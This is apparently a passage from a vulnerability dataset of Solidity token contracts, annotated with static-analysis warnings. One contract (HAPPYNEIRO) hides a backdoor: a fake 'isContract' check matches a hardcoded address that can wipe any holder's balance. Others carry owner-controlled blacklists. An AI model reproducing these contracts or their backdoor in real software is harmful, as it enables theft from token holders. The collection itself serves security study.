_finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 373aea0\n\t\t\t\t// reentrancy-eth | ID: 3408a1a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 373aea0\n\t\t\t\t\t// reentrancy-eth | ID: 3408a1a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3408a1a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3408a1a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3408a1a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 373aea0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3408a1a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3408a1a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 373aea0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f58275\n\t\t// reentrancy-events | ID: 373aea0\n\t\t// reentrancy-benign | ID: c4216cf\n\t\t// reentrancy-eth | ID: 3408a1a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _initialTransferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 852f03e): Satoshi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 852f03e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4f58275\n\t\t// reentrancy-events | ID: 373aea0\n\t\t// reentrancy-eth | ID: 3408a1a\n\t\t// arbitrary-send-eth | ID: 852f03e\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 73eac10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 73eac10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c51a266): Satoshi.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c51a266: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cd934dc): Satoshi.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cd934dc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bcef75b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bcef75b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 73eac10\n\t\t// reentrancy-eth | ID: bcef75b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 73eac10\n\t\t// unused-return | ID: c51a266\n\t\t// reentrancy-eth | ID: bcef75b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 73eac10\n\t\t// unused-return | ID: cd934dc\n\t\t// reentrancy-eth | ID: bcef75b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 73eac10\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bcef75b\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10228.sol",
"size_bytes": 21196,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"HAPPYNEIRO \", unicode\"HAPPYNEIRO \", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10229.sol",
"size_bytes": 7320,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BRETT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 51270ce): BRETT._taxWallet should be immutable \n\t// Recommendation for 51270ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d51814a): BRETT._initialBuyTax should be constant \n\t// Recommendation for d51814a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: cffaee7): BRETT._initialSellTax should be constant \n\t// Recommendation for cffaee7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3e5044): BRETT._reduceBuyTaxAt should be constant \n\t// Recommendation for f3e5044: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e74304): BRETT._reduceSellTaxAt should be constant \n\t// Recommendation for 2e74304: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: c3a22c6): BRETT._preventSwapBefore should be constant \n\t// Recommendation for c3a22c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Bureaucratic Resonance Exemption Trailblazing Triumphant \";\n\n string private constant _symbol = unicode\"BRETT\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03062bc): BRETT._taxSwapThreshold should be constant \n\t// Recommendation for 03062bc: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0549995): BRETT._maxTaxSwap should be constant \n\t// Recommendation for 0549995: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x178C63d51bAD2282432FA6d2d99259515F343516);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92bb043): BRETT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92bb043: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 983ff2d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 983ff2d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0aa0ded): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0aa0ded: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 983ff2d\n\t\t// reentrancy-benign | ID: 0aa0ded\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 983ff2d\n\t\t// reentrancy-benign | ID: 0aa0ded\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5886faa): BRETT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5886faa: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0aa0ded\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 983ff2d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 01cfbf1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 01cfbf1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 781d174): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 781d174: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 01cfbf1\n\t\t\t\t// reentrancy-eth | ID: 781d174\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 01cfbf1\n\t\t\t\t\t// reentrancy-eth | ID: 781d174\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 781d174\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 781d174\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 781d174\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 01cfbf1\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 781d174\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 781d174\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 01cfbf1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 983ff2d\n\t\t// reentrancy-events | ID: 01cfbf1\n\t\t// reentrancy-benign | ID: 0aa0ded\n\t\t// reentrancy-eth | ID: 781d174\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 983ff2d\n\t\t// reentrancy-events | ID: 01cfbf1\n\t\t// reentrancy-eth | ID: 781d174\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 63bfbe5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 63bfbe5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f12c4c7): BRETT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f12c4c7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 37b1dcd): BRETT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 37b1dcd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 33c35fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 33c35fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 63bfbe5\n\t\t// reentrancy-eth | ID: 33c35fb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 63bfbe5\n\t\t// unused-return | ID: f12c4c7\n\t\t// reentrancy-eth | ID: 33c35fb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 63bfbe5\n\t\t// unused-return | ID: 37b1dcd\n\t\t// reentrancy-eth | ID: 33c35fb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 63bfbe5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 33c35fb\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1023.sol",
"size_bytes": 19920,
"vulnerability": 4
} |
{
